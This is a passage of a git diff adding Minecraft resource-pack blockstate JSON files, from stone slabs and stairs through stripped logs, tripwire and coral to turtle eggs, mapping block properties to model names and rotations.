"model": "minecraft:block/stone_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_slab.json b/src/assets/minecraft/blockstates/stone_slab.json new file mode 100644 index 00000000..f37785ec --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/stone_slab" + }, + "type=double": { + "model": "minecraft:block/stone" + }, + "type=top": { + "model": "minecraft:block/stone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stone_stairs.json b/src/assets/minecraft/blockstates/stone_stairs.json new file mode 100644 index 00000000..45586b7a --- /dev/null +++ b/src/assets/minecraft/blockstates/stone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/stone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/stone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/stone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/stone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/stone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/stone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/stone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/stone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/stone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/stone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stonecutter.json b/src/assets/minecraft/blockstates/stonecutter.json new file mode 100644 index 00000000..c50b85fc --- /dev/null +++ b/src/assets/minecraft/blockstates/stonecutter.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/stonecutter", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/stonecutter" + }, + "facing=south": { + "model": "minecraft:block/stonecutter", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/stonecutter", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_acacia_log.json b/src/assets/minecraft/blockstates/stripped_acacia_log.json new file mode 100644 index 00000000..53a60c9d --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_acacia_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_acacia_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_acacia_log" + }, + "axis=z": { + "model": "minecraft:block/stripped_acacia_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_acacia_wood.json b/src/assets/minecraft/blockstates/stripped_acacia_wood.json new file mode 100644 index 00000000..dd8d1f23 --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_acacia_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_acacia_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_acacia_wood" + }, + "axis=z": { + "model": "minecraft:block/stripped_acacia_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_birch_log.json b/src/assets/minecraft/blockstates/stripped_birch_log.json new file mode 100644 index 00000000..df57a526 --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_birch_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_birch_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_birch_log" + }, + "axis=z": { + "model": "minecraft:block/stripped_birch_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_birch_wood.json b/src/assets/minecraft/blockstates/stripped_birch_wood.json new file mode 100644 index 00000000..6527d5df --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_birch_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_birch_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_birch_wood" + }, + "axis=z": { + "model": "minecraft:block/stripped_birch_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_crimson_hyphae.json b/src/assets/minecraft/blockstates/stripped_crimson_hyphae.json new file mode 100644 index 00000000..3a04cefa --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_crimson_hyphae.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_crimson_hyphae", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_crimson_hyphae" + }, + "axis=z": { + "model": "minecraft:block/stripped_crimson_hyphae", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_crimson_stem.json b/src/assets/minecraft/blockstates/stripped_crimson_stem.json new file mode 100644 index 00000000..b04d30be --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_crimson_stem.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_crimson_stem", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_crimson_stem" + }, + "axis=z": { + "model": "minecraft:block/stripped_crimson_stem", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_dark_oak_log.json b/src/assets/minecraft/blockstates/stripped_dark_oak_log.json new file mode 100644 index 00000000..49d1824a --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_dark_oak_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_dark_oak_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_dark_oak_log" + }, + "axis=z": { + "model": "minecraft:block/stripped_dark_oak_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_dark_oak_wood.json b/src/assets/minecraft/blockstates/stripped_dark_oak_wood.json new file mode 100644 index 00000000..4bcfd1ea --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_dark_oak_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_dark_oak_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_dark_oak_wood" + }, + "axis=z": { + "model": "minecraft:block/stripped_dark_oak_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_jungle_log.json b/src/assets/minecraft/blockstates/stripped_jungle_log.json new file mode 100644 index 00000000..b826bf8e --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_jungle_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_jungle_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_jungle_log" + }, + "axis=z": { + "model": "minecraft:block/stripped_jungle_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_jungle_wood.json b/src/assets/minecraft/blockstates/stripped_jungle_wood.json new file mode 100644 index 00000000..c2098761 --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_jungle_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_jungle_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_jungle_wood" + }, + "axis=z": { + "model": "minecraft:block/stripped_jungle_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_oak_log.json b/src/assets/minecraft/blockstates/stripped_oak_log.json new file mode 100644 index 00000000..b4a149bc --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_oak_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_oak_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_oak_log" + }, + "axis=z": { + "model": "minecraft:block/stripped_oak_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_oak_wood.json b/src/assets/minecraft/blockstates/stripped_oak_wood.json new file mode 100644 index 00000000..a8098d7c --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_oak_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_oak_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_oak_wood" + }, + "axis=z": { + "model": "minecraft:block/stripped_oak_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_spruce_log.json b/src/assets/minecraft/blockstates/stripped_spruce_log.json new file mode 100644 index 00000000..060308fb --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_spruce_log.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_spruce_log_horizontal", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_spruce_log" + }, + "axis=z": { + "model": "minecraft:block/stripped_spruce_log_horizontal", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_spruce_wood.json b/src/assets/minecraft/blockstates/stripped_spruce_wood.json new file mode 100644 index 00000000..9473be64 --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_spruce_wood.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_spruce_wood", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_spruce_wood" + }, + "axis=z": { + "model": "minecraft:block/stripped_spruce_wood", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_warped_hyphae.json b/src/assets/minecraft/blockstates/stripped_warped_hyphae.json new file mode 100644 index 00000000..66fd7e36 --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_warped_hyphae.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_warped_hyphae", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_warped_hyphae" + }, + "axis=z": { + "model": "minecraft:block/stripped_warped_hyphae", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/stripped_warped_stem.json b/src/assets/minecraft/blockstates/stripped_warped_stem.json new file mode 100644 index 00000000..2e3fcc42 --- /dev/null +++ b/src/assets/minecraft/blockstates/stripped_warped_stem.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/stripped_warped_stem", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/stripped_warped_stem" + }, + "axis=z": { + "model": "minecraft:block/stripped_warped_stem", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/structure_block.json b/src/assets/minecraft/blockstates/structure_block.json new file mode 100644 index 00000000..8a4c5b4b --- /dev/null +++ b/src/assets/minecraft/blockstates/structure_block.json @@ -0,0 +1,16 @@ +{ + "variants": { + "mode=corner": { + "model": "minecraft:block/structure_block_corner" + }, + "mode=data": { + "model": "minecraft:block/structure_block_data" + }, + "mode=load": { + "model": "minecraft:block/structure_block_load" + }, + "mode=save": { + "model": "minecraft:block/structure_block_save" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/structure_void.json b/src/assets/minecraft/blockstates/structure_void.json new file mode 100644 index 00000000..50c9d574 --- /dev/null +++ b/src/assets/minecraft/blockstates/structure_void.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/structure_void" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sugar_cane.json b/src/assets/minecraft/blockstates/sugar_cane.json new file mode 100644 index 00000000..3eb91442 --- /dev/null +++ b/src/assets/minecraft/blockstates/sugar_cane.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/sugar_cane" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sunflower.json b/src/assets/minecraft/blockstates/sunflower.json new file mode 100644 index 00000000..18297b4b --- /dev/null +++ b/src/assets/minecraft/blockstates/sunflower.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/sunflower_bottom" + }, + "half=upper": { + "model": "minecraft:block/sunflower_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/sweet_berry_bush.json b/src/assets/minecraft/blockstates/sweet_berry_bush.json new file mode 100644 index 00000000..131d7a70 --- /dev/null +++ b/src/assets/minecraft/blockstates/sweet_berry_bush.json @@ -0,0 +1,16 @@ +{ + "variants": { + "age=0": { + "model": "minecraft:block/sweet_berry_bush_stage0" + }, + "age=1": { + "model": "minecraft:block/sweet_berry_bush_stage1" + }, + "age=2": { + "model": "minecraft:block/sweet_berry_bush_stage2" + }, + "age=3": { + "model": "minecraft:block/sweet_berry_bush_stage3" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tall_grass.json b/src/assets/minecraft/blockstates/tall_grass.json new file mode 100644 index 00000000..b014f0ba --- /dev/null +++ b/src/assets/minecraft/blockstates/tall_grass.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/tall_grass_bottom" + }, + "half=upper": { + "model": "minecraft:block/tall_grass_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tall_seagrass.json b/src/assets/minecraft/blockstates/tall_seagrass.json new file mode 100644 index 00000000..c20e9a29 --- /dev/null +++ b/src/assets/minecraft/blockstates/tall_seagrass.json @@ -0,0 +1,10 @@ +{ + "variants": { + "half=lower": { + "model": "minecraft:block/tall_seagrass_bottom" + }, + "half=upper": { + "model": "minecraft:block/tall_seagrass_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/target.json b/src/assets/minecraft/blockstates/target.json new file mode 100644 index 00000000..7077459d --- /dev/null +++ b/src/assets/minecraft/blockstates/target.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/target" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/terracotta.json b/src/assets/minecraft/blockstates/terracotta.json new file mode 100644 index 00000000..985d001a --- /dev/null +++ b/src/assets/minecraft/blockstates/terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tnt.json b/src/assets/minecraft/blockstates/tnt.json new file mode 100644 index 00000000..a806a7de --- /dev/null +++ b/src/assets/minecraft/blockstates/tnt.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/tnt" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/torch.json b/src/assets/minecraft/blockstates/torch.json new file mode 100644 index 00000000..7d14911a --- /dev/null +++ b/src/assets/minecraft/blockstates/torch.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/torch" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/trapped_chest.json b/src/assets/minecraft/blockstates/trapped_chest.json new file mode 100644 index 00000000..f78fa579 --- /dev/null +++ b/src/assets/minecraft/blockstates/trapped_chest.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/chest" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tripwire.json b/src/assets/minecraft/blockstates/tripwire.json new file mode 100644 index 00000000..db2aed53 --- /dev/null +++ b/src/assets/minecraft/blockstates/tripwire.json @@ -0,0 +1,120 @@ +{ + "variants": { + "attached=false,east=false,north=false,south=false,west=false": { + "model": "minecraft:block/tripwire_ns" + }, + "attached=false,east=false,north=false,south=false,west=true": { + "model": "minecraft:block/tripwire_n", + "y": 270 + }, + "attached=false,east=false,north=false,south=true,west=false": { + "model": "minecraft:block/tripwire_n", + "y": 180 + }, + "attached=false,east=false,north=false,south=true,west=true": { + "model": "minecraft:block/tripwire_ne", + "y": 180 + }, + "attached=false,east=false,north=true,south=false,west=false": { + "model": "minecraft:block/tripwire_n" + }, + "attached=false,east=false,north=true,south=false,west=true": { + "model": "minecraft:block/tripwire_ne", + "y": 270 + }, + "attached=false,east=false,north=true,south=true,west=false": { + "model": "minecraft:block/tripwire_ns" + }, + "attached=false,east=false,north=true,south=true,west=true": { + "model": "minecraft:block/tripwire_nse", + "y": 180 + }, + "attached=false,east=true,north=false,south=false,west=false": { + "model": "minecraft:block/tripwire_n", + "y": 90 + }, + "attached=false,east=true,north=false,south=false,west=true": { + "model": "minecraft:block/tripwire_ns", + "y": 90 + }, + "attached=false,east=true,north=false,south=true,west=false": { + "model": "minecraft:block/tripwire_ne", + "y": 90 + }, + "attached=false,east=true,north=false,south=true,west=true": { + "model": "minecraft:block/tripwire_nse", + "y": 90 + }, + "attached=false,east=true,north=true,south=false,west=false": { + "model": "minecraft:block/tripwire_ne" + }, + "attached=false,east=true,north=true,south=false,west=true": { + "model": "minecraft:block/tripwire_nse", + "y": 270 + }, + "attached=false,east=true,north=true,south=true,west=false": { + "model": "minecraft:block/tripwire_nse" + }, + "attached=false,east=true,north=true,south=true,west=true": { + "model": "minecraft:block/tripwire_nsew" + }, + "attached=true,east=false,north=false,south=false,west=false": { + "model": "minecraft:block/tripwire_attached_ns" + }, + "attached=true,east=false,north=false,south=false,west=true": { + "model": "minecraft:block/tripwire_attached_n", + "y": 270 + }, + "attached=true,east=false,north=false,south=true,west=false": { + "model": "minecraft:block/tripwire_attached_n", + "y": 180 + }, + "attached=true,east=false,north=false,south=true,west=true": { + "model": "minecraft:block/tripwire_attached_ne", + "y": 180 + }, + "attached=true,east=false,north=true,south=false,west=false": { + "model": "minecraft:block/tripwire_attached_n" + }, + "attached=true,east=false,north=true,south=false,west=true": { + "model": "minecraft:block/tripwire_attached_ne", + "y": 270 + }, + "attached=true,east=false,north=true,south=true,west=false": { + "model": "minecraft:block/tripwire_attached_ns" + }, + "attached=true,east=false,north=true,south=true,west=true": { + "model": "minecraft:block/tripwire_attached_nse", + "y": 180 + }, + "attached=true,east=true,north=false,south=false,west=false": { + "model": "minecraft:block/tripwire_attached_n", + "y": 90 + }, + "attached=true,east=true,north=false,south=false,west=true": { + "model": "minecraft:block/tripwire_attached_ns", + "y": 90 + }, + "attached=true,east=true,north=false,south=true,west=false": { + "model": "minecraft:block/tripwire_attached_ne", + "y": 90 + }, + "attached=true,east=true,north=false,south=true,west=true": { + "model": "minecraft:block/tripwire_attached_nse", + "y": 90 + }, + "attached=true,east=true,north=true,south=false,west=false": { + "model": "minecraft:block/tripwire_attached_ne" + }, + "attached=true,east=true,north=true,south=false,west=true": { + "model": "minecraft:block/tripwire_attached_nse", + "y": 270 + }, + "attached=true,east=true,north=true,south=true,west=false": { + "model": "minecraft:block/tripwire_attached_nse" + }, + "attached=true,east=true,north=true,south=true,west=true": { + "model": "minecraft:block/tripwire_attached_nsew" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tripwire_hook.json b/src/assets/minecraft/blockstates/tripwire_hook.json new file mode 100644 index 00000000..67389727 --- /dev/null +++ b/src/assets/minecraft/blockstates/tripwire_hook.json @@ -0,0 +1,64 @@ +{ + "variants": { + "attached=false,facing=east,powered=false": { + "model": "minecraft:block/tripwire_hook", + "y": 90 + }, + "attached=false,facing=east,powered=true": { + "model": "minecraft:block/tripwire_hook_on", + "y": 90 + }, + "attached=false,facing=north,powered=false": { + "model": "minecraft:block/tripwire_hook" + }, + "attached=false,facing=north,powered=true": { + "model": "minecraft:block/tripwire_hook_on" + }, + "attached=false,facing=south,powered=false": { + "model": "minecraft:block/tripwire_hook", + "y": 180 + }, + "attached=false,facing=south,powered=true": { + "model": "minecraft:block/tripwire_hook_on", + "y": 180 + }, + "attached=false,facing=west,powered=false": { + "model": "minecraft:block/tripwire_hook", + "y": 270 + }, + "attached=false,facing=west,powered=true": { + "model": "minecraft:block/tripwire_hook_on", + "y": 270 + }, + "attached=true,facing=east,powered=false": { + "model": "minecraft:block/tripwire_hook_attached", + "y": 90 + }, + "attached=true,facing=east,powered=true": { + "model": "minecraft:block/tripwire_hook_attached_on", + "y": 90 + }, + "attached=true,facing=north,powered=false": { + "model": "minecraft:block/tripwire_hook_attached" + }, + "attached=true,facing=north,powered=true": { + "model": "minecraft:block/tripwire_hook_attached_on" + }, + "attached=true,facing=south,powered=false": { + "model": "minecraft:block/tripwire_hook_attached", + "y": 180 + }, + "attached=true,facing=south,powered=true": { + "model": "minecraft:block/tripwire_hook_attached_on", + "y": 180 + }, + "attached=true,facing=west,powered=false": { + "model": "minecraft:block/tripwire_hook_attached", + "y": 270 + }, + "attached=true,facing=west,powered=true": { + "model": "minecraft:block/tripwire_hook_attached_on", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tube_coral.json b/src/assets/minecraft/blockstates/tube_coral.json new file mode 100644 index 00000000..89f37627 --- /dev/null +++ b/src/assets/minecraft/blockstates/tube_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/tube_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tube_coral_block.json b/src/assets/minecraft/blockstates/tube_coral_block.json new file mode 100644 index 00000000..68894a85 --- /dev/null +++ b/src/assets/minecraft/blockstates/tube_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/tube_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tube_coral_fan.json b/src/assets/minecraft/blockstates/tube_coral_fan.json new file mode 100644 index 00000000..518de272 --- /dev/null +++ b/src/assets/minecraft/blockstates/tube_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/tube_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/tube_coral_wall_fan.json b/src/assets/minecraft/blockstates/tube_coral_wall_fan.json new file mode 100644 index 00000000..31a626a1 --- /dev/null +++ b/src/assets/minecraft/blockstates/tube_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/tube_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/tube_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/tube_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/tube_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/turtle_egg.json b/src/assets/minecraft/blockstates/turtle_egg.json new file mode 100644 index 00000000..ac5157d6 --- /dev/null +++ b/src/assets/minecraft/blockstates/turtle_egg.json @@ -0,0 +1,208 @@ +{ + "variants": { + "eggs=1,hatch=0": [ + { + "model": "minecraft:block/turtle_egg" + }, + { + "model": "minecraft:block/turtle_egg", + "y": 90 + }, + { + "model": "minecraft:block/turtle_egg", + "y": 180 + }, + { + "model": "minecraft:block/turtle_egg", + "y": 270 + } + ], + "eggs=1,hatch=1": [ + { + "model": "minecraft:block/slightly_cracked_turtle_egg" + }, + { + "model": "minecraft:block/slightly_cracked_turtle_egg", + "y": 90 + }, + { + "model": "minecraft:block/slightly_cracked_turtle_egg", + "y": 180 + }, + { + "model": "minecraft:block/slightly_cracked_turtle_egg", + "y": 270 + } + ], + "eggs=1,hatch=2": [ + { + "model": "minecraft:block/very_cracked_turtle_egg" + }, + { + "model": "minecraft:block/very_cracked_turtle_egg", + "y": 90 + }, + { + "model": "minecraft:block/very_cracked_turtle_egg", + "y": 180 + }, + { + "model": "minecraft:block/very_cracked_turtle_egg", + "y": 270 + } + ], + "eggs=2,hatch=0": [ + { + "model": "minecraft:block/two_turtle_eggs" + }, + { + "model": "minecraft:block/two_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/two_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/two_turtle_eggs", + "y": 270 + } + ], + "eggs=2,hatch=1": [ + { + "model": "minecraft:block/two_slightly_cracked_turtle_eggs" + }, + { + "model": "minecraft:block/two_slightly_cracked_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/two_slightly_cracked_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/two_slightly_cracked_turtle_eggs", + "y": 270 + } + ], + "eggs=2,hatch=2": [ + { + "model": "minecraft:block/two_very_cracked_turtle_eggs" + }, + { + "model": "minecraft:block/two_very_cracked_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/two_very_cracked_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/two_very_cracked_turtle_eggs", + "y": 270 + } + ], + "eggs=3,hatch=0": [ + { + "model": "minecraft:block/three_turtle_eggs" + }, + { + "model": "minecraft:block/three_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/three_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/three_turtle_eggs", + "y": 270 + } + ], + "eggs=3,hatch=1": [ + { + "model": "minecraft:block/three_slightly_cracked_turtle_eggs" + }, + { + "model": "minecraft:block/three_slightly_cracked_turtle_eggs", + "y": 90 + }, + { + "model": "minecraft:block/three_slightly_cracked_turtle_eggs", + "y": 180 + }, + { + "model": "minecraft:block/three_slightly_cracked_turtle_eggs", + "y": 270 + } + ], + "eggs=3,hatch=2": 